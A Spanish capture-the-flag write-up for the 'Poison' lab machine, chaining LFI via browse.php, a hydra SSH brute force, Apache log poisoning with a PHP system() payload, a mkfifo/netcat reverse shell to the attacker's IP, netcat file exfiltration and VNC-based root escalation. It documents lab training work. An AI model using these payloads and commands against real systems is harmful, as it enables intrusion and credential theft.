Entrada

Posion

Posion

Skills

  • Local File Inclusion (LFI)
  • LFI to RCE - Log Poisoning
  • Cracking ZIP file
  • Abusing VNC - vncviewer [Privilege Escalation]
  • SSH Bruteforce

Certificaciones

  • eJPT
  • eWPT

Descripción

Poison es una máquina medium linux, la web es un nos permite realizar un LFI (Local File Inclusion), mediante el LFI obtenemos un archivo el cual desciframos y obtenemos unas credenciales que nos permiten el acceso a la máquina víctima por SSH. La máquina víctima también es vulnerable a Log Poisoning, mediante el cual también podemos obtener acceso a la máquina víctima. Una vez dentro, hacemos un dinamic port forwarding y escalamos privilegios gracias al servicio VNC que corría el usuario root


Reconocimiento

Se comprueba que la máquina está activa y se determina su sistema operativo, el ttl de las máquinas linux suele ser 64, en este caso hay un nodo intermediario que hace que el ttl disminuya en una unidad

1
2
3
4
5
6
7
8
9
# ping 10.129.1.254
PING 10.129.1.254 (10.129.1.254) 56(84) bytes of data.
64 bytes from 10.129.1.254: icmp_seq=1 ttl=63 time=74.0 ms
64 bytes from 10.129.1.254: icmp_seq=2 ttl=63 time=81.8 ms
64 bytes from 10.129.1.254: icmp_seq=3 ttl=63 time=58.4 ms
^C
--- 10.129.1.254 ping statistics ---
3 packets transmitted, 3 received, 0% packet loss, time 2002ms
rtt min/avg/max/mdev = 58.382/71.375/81.784/9.727 ms

Nmap

Se va a realizar un escaneo de todos los puertos abiertos en el protocolo TCP a través de nmap

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
# sudo nmap -p- --open --min-rate 5000 -sS -Pn -n -v 10.129.1.254 -oG openPorts
[sudo] password for justice-reaper: 
Starting Nmap 7.94SVN ( https://nmap.org ) at 2024-08-03 22:33 CEST
Initiating SYN Stealth Scan at 22:33
Scanning 10.129.1.254 [65535 ports]
Discovered open port 22/tcp on 10.129.1.254
Discovered open port 80/tcp on 10.129.1.254
Completed SYN Stealth Scan at 22:33, 25.91s elapsed (65535 total ports)
Nmap scan report for 10.129.1.254
Host is up (0.086s latency).
Not shown: 60333 filtered tcp ports (no-response), 5200 closed tcp ports (reset)
Some closed ports may be reported as filtered due to --defeat-rst-ratelimit
PORT   STATE SERVICE
22/tcp open  ssh
80/tcp open  http

Read data files from: /usr/bin/../share/nmap
Nmap done: 1 IP address (1 host up) scanned in 25.98 seconds
           Raw packets sent: 128883 (5.671MB) | Rcvd: 5202 (208.088KB)

Se procede a realizar un análisis de detección de servicios y la identificación de versiones utilizando los puertos abiertos encontrados

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
# nmap -sCV -p22,80 10.129.1.254 -oN services                             
Starting Nmap 7.94SVN ( https://nmap.org ) at 2024-08-03 22:34 CEST
Nmap scan report for 10.129.1.254
Host is up (0.070s latency).

PORT   STATE SERVICE VERSION
22/tcp open  ssh     OpenSSH 7.2 (FreeBSD 20161230; protocol 2.0)
| ssh-hostkey: 
|   2048 e3:3b:7d:3c:8f:4b:8c:f9:cd:7f:d2:3a:ce:2d:ff:bb (RSA)
|   256 4c:e8:c6:02:bd:fc:83:ff:c9:80:01:54:7d:22:81:72 (ECDSA)
|_  256 0b:8f:d5:71:85:90:13:85:61:8b:eb:34:13:5f:94:3b (ED25519)
80/tcp open  http    Apache httpd 2.4.29 ((FreeBSD) PHP/5.6.32)
|_http-server-header: Apache/2.4.29 (FreeBSD) PHP/5.6.32
|_http-title: Site doesn't have a title (text/html; charset=UTF-8).
Service Info: OS: FreeBSD; CPE: cpe:/o:freebsd:freebsd

Service detection performed. Please report any incorrect results at https://nmap.org/submit/ .
Nmap done: 1 IP address (1 host up) scanned in 11.77 seconds

Web Enumeration

En la página web vemos lo siguiente

Si accedemos a http://10.129.1.254/browse.php?file=listfiles.php podemos ver varios archivos interesantes

Si accedemos a http://10.129.1.254/browse.php?file=pwdbackup.txt podemos ver una contraseña

He usado https://www.base64decode.org/ para decodear la cadena en base64 y he obtenido una contraseña al parecer. Hay que ir copiando y pegando la cadena en base64 varias veces para poder obtener la contraseña

1
Charix!2#4%6&8(0

La página nos está permitiendo cargar cualquier tipo de archivo, es decir, tienen montado un LFI (Local File Inclusion) de forma intencionada. Esto lo podemos comprobar accediendo a http://10.129.1.254/browse.php?file=/etc/passwd

Intrusión (First Method)

Como tenemos un listado de usuarios y una contraseña he hecho un ataque de fuerza bruta con hydra contra el servicio de SSH de la máquina víctima y he obtenido unas credenciales válidas charix:Charix!2#4%6&8(0

1
2
3
4
5
6
7
8
9
10
# hydra -L users.txt -p 'Charix!2#4%6&8(0' 10.129.1.254 ssh -t 4 -V
Hydra v9.5 (c) 2023 by van Hauser/THC & David Maciejak - Please do not use in military or secret service organizations, or for illegal purposes (this is non-binding, these *** ignore laws and ethics anyway).

Hydra (https://github.com/vanhauser-thc/thc-hydra) starting at 2024-08-03 22:54:29
[WARNING] Restorefile (you have 10 seconds to abort... (use option -I to skip waiting)) from a previous session found, to prevent overwriting, ./hydra.restore
[DATA] max 4 tasks per 1 server, overall 4 tasks, 30 login tries (l:30/p:1), ~8 tries per task
[DATA] attacking ssh://10.129.1.254:22/
[22][ssh] host: 10.129.1.254   login: charix   password: Charix!2#4%6&8(0
1 of 1 target successfully completed, 1 valid password found
Hydra (https://github.com/vanhauser-thc/thc-hydra) finished at 2024-08-03 22:58:11

Nos conectamos mediante SSH a la máquina víctima

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
# ssh charix@10.129.1.254   
(charix@10.129.1.254) Password for charix@Poison:
Last login: Mon Mar 19 16:38:00 2018 from 10.10.14.4
FreeBSD 11.1-RELEASE (GENERIC) #0 r321309: Fri Jul 21 02:08:28 UTC 2017

Welcome to FreeBSD!

Release Notes, Errata: https://www.FreeBSD.org/releases/
Security Advisories:   https://www.FreeBSD.org/security/
FreeBSD Handbook:      https://www.FreeBSD.org/handbook/
FreeBSD FAQ:           https://www.FreeBSD.org/faq/
Questions List: https://lists.FreeBSD.org/mailman/listinfo/freebsd-questions/
FreeBSD Forums:        https://forums.FreeBSD.org/

Documents installed with the system are in the /usr/local/share/doc/freebsd/
directory, or can be installed later with:  pkg install en-freebsd-doc
For other languages, replace "en" with a language code like de or fr.

Show the version of FreeBSD installed:  freebsd-version ; uname -a
Please include that output and any error messages when posting questions.
Introduction to manual pages:  man man
FreeBSD directory layout:      man hier

Edit /etc/motd to change this login announcement.
Having trouble using fetch through a firewall? Try setting the environment
variable FTP_PASSIVE_MODE to yes, and see fetch(3) for more details.
csh: The terminal database could not be opened.
csh: using dumb terminal settings.
charix@Poison:~ % whoami
charix

Intrusión (Second Method)

He buscado en que rutas se alojan los logs de apache para ver si la máquina es vulnerable a un log poisoning https://blog.codeasite.com/how-do-i-find-apache-http-server-log-files/, hay que tener mucho cuidado para no corromper el fichero de logs y que sea vuelva inaccesible. Lo primero que hay que hacerle una petición a un recurso de la web, por ejemplo http://10.129.252.206/cmd y capturar la petición con Burpsuite e introducir en el campo User-Agent este payload

1
<?php system($_GET['cmd']); ?>

Si nos a este ruta view-source:http://10.129.252.206/browse.php?file=/var/log/httpd-access.log&cmd=whoami podemos ver como el comando se ha ejecutado correctamente

Vamos a mandarnos una reverse shell a nuestro equipo, para ello nos ponemos en escucha con netcat por el puerto 4444

1
# nc -nlvp 4444

Vamos a usar este payload para mandarnos una reverse shell a nuestro equipo view-source:http://10.129.252.206/browse.php?file=/var/log/httpd-access.log&cmd=rm /tmp/f;mkfifo /tmp/f;cat /tmp/f|sh -i 2>%261|nc 10.10.16.35 4444 >/tmp/f

1
rm /tmp/f;mkfifo /tmp/f;cat /tmp/f|sh -i 2>%261|nc 10.10.16.35 4444 >/tmp/f

Obtenemos una shell en nuestro equipo

1
2
3
4
5
6
# nc -nlvp 4444             
listening on [any] 4444 ...
connect to [10.10.16.35] from (UNKNOWN) [10.129.252.206] 18527
sh: can't access tty; job control turned off
$ whoami
www

Nos convertimos en el usuario charix

1
2
3
4
5
6
$ which su
/usr/bin/su
$ su charix
Password:Charix!2#4%6&8(0
whoami
charix

Privilege Escalation

En el directorio /home de charix me he encontrado un .zip interesante

1
2
charix@Poison:~ % ls
secret.zip	user.txt

Vamos a transferirnos el archivo a nuestra máquina con netcat, para ello nos ponemos en escucha en nuestra máquina

1
# nc -nlvp 4444 > secret.zip

Nos enviamos el archivo desde la máquina víctima

1
charix@Poison:~ % nc -vn 10.10.16.35 4444 < secret.zip

Una vez recibido el archivo lo descomprimimos, la contraseña a usar es Charix!2#4%6&8(0

1
2
3
4
# unzip secret.zip 
Archive:  secret.zip
[secret.zip] secret password: 
 extracting: secret                  

Si le hacemos un cat al archivo nos encontramos con esto

1
2
3
4
5
6
# cat secret                                    
───────┬────────────────────────────────────────────────────────────────────────────────
       │ File: secret
───────┼────────────────────────────────────────────────────────────────────────────────
   1   │ ��[|Ֆz!
───────┴────────────────────────────────────────────────────────────────────────────────

Listamos puertos en la máquina víctima, los puertos 5801 y 5901 son interesantes porque pertenecen al servicio VNC https://book.hacktricks.xyz/network-services-pentesting/pentesting-vnc

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
charix@Poison:~ % netstat -na -p tcp
Active Internet connections (including servers)
Proto Recv-Q Send-Q Local Address          Foreign Address        (state)
tcp4       0      0 10.129.252.206.22      10.10.16.35.36790      ESTABLISHED
tcp4       0      0 10.129.252.206.17310   10.10.16.35.4444       ESTABLISHED
tcp4       0      0 10.129.252.206.80      10.10.16.35.38414      ESTABLISHED
tcp4       0      0 10.129.252.206.18527   10.10.16.35.4444       CLOSE_WAIT
tcp4       0      0 10.129.252.206.80      10.10.16.35.55736      CLOSE_WAIT
tcp4       0      0 127.0.0.1.25           *.*                    LISTEN
tcp4       0      0 *.80                   *.*                    LISTEN
tcp6       0      0 *.80                   *.*                    LISTEN
tcp4       0      0 *.22                   *.*                    LISTEN
tcp6       0      0 *.22                   *.*                    LISTEN
tcp4       0      0 127.0.0.1.5801         *.*                    LISTEN
tcp4       0      0 127.0.0.1.5901         *.*                    LISTEN

Vemos que los servicios los está corriendo el usuario root

1
2
3
charix@Poison:~ % sockstat -4 | grep '5801\|5901'
root     Xvnc       614   1  tcp4   127.0.0.1:5901        *:*
root     Xvnc       614   3  tcp4   127.0.0.1:5801        *:*

Con proxychains vamos a realizar un dinamic port forwarding para traernos todos los puertos de la máquina víctima a nuestro equipo. Para ello modificamos el archivo /etc/proxychains4.conf añadiéndole esta línea al final

1
2
# sudo nano /etc/proxychains4.conf
socks4  127.0.0.1 9050

Nos conectamos a la máquina víctima por SSH realizando un dinamic port forwarding

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
# ssh charix@10.129.252.206 -D 9050 
(charix@10.129.252.206) Password for charix@Poison:
Last login: Mon Aug  5 14:02:08 2024 from 10.10.16.35
FreeBSD 11.1-RELEASE (GENERIC) #0 r321309: Fri Jul 21 02:08:28 UTC 2017

Welcome to FreeBSD!

Release Notes, Errata: https://www.FreeBSD.org/releases/
Security Advisories:   https://www.FreeBSD.org/security/
FreeBSD Handbook:      https://www.FreeBSD.org/handbook/
FreeBSD FAQ:           https://www.FreeBSD.org/faq/
Questions List: https://lists.FreeBSD.org/mailman/listinfo/freebsd-questions/
FreeBSD Forums:        https://forums.FreeBSD.org/

Documents installed with the system are in the /usr/local/share/doc/freebsd/
directory, or can be installed later with:  pkg install en-freebsd-doc
For other languages, replace "en" with a language code like de or fr.

Show the version of FreeBSD installed:  freebsd-version ; uname -a
Please include that output and any error messages when posting questions.
Introduction to manual pages:  man man
FreeBSD directory layout:      man hier

Edit /etc/motd to change this login announcement.
You can press Ctrl-L while in the shell to clear the screen.
csh: The terminal database could not be opened.
csh: using dumb terminal settings.
charix@Poison:~ % 

Usando proxychains abrimos vncviewer

1
# proxychains vncviewer -passwd secret 127.0.0.1::5901 

Se nos abre esta ventana en la que estamos como el usuario root

Le damos permisos SUID a la /bin/sh

Nos convertimos en usuario root

1
2
3
4
5
charix@Poison:~ % sh -p
Cannot read termcap database;
using dumb terminal settings.
# whoami
root
Esta entrada está licenciada bajo CC BY 4.0 por el autor.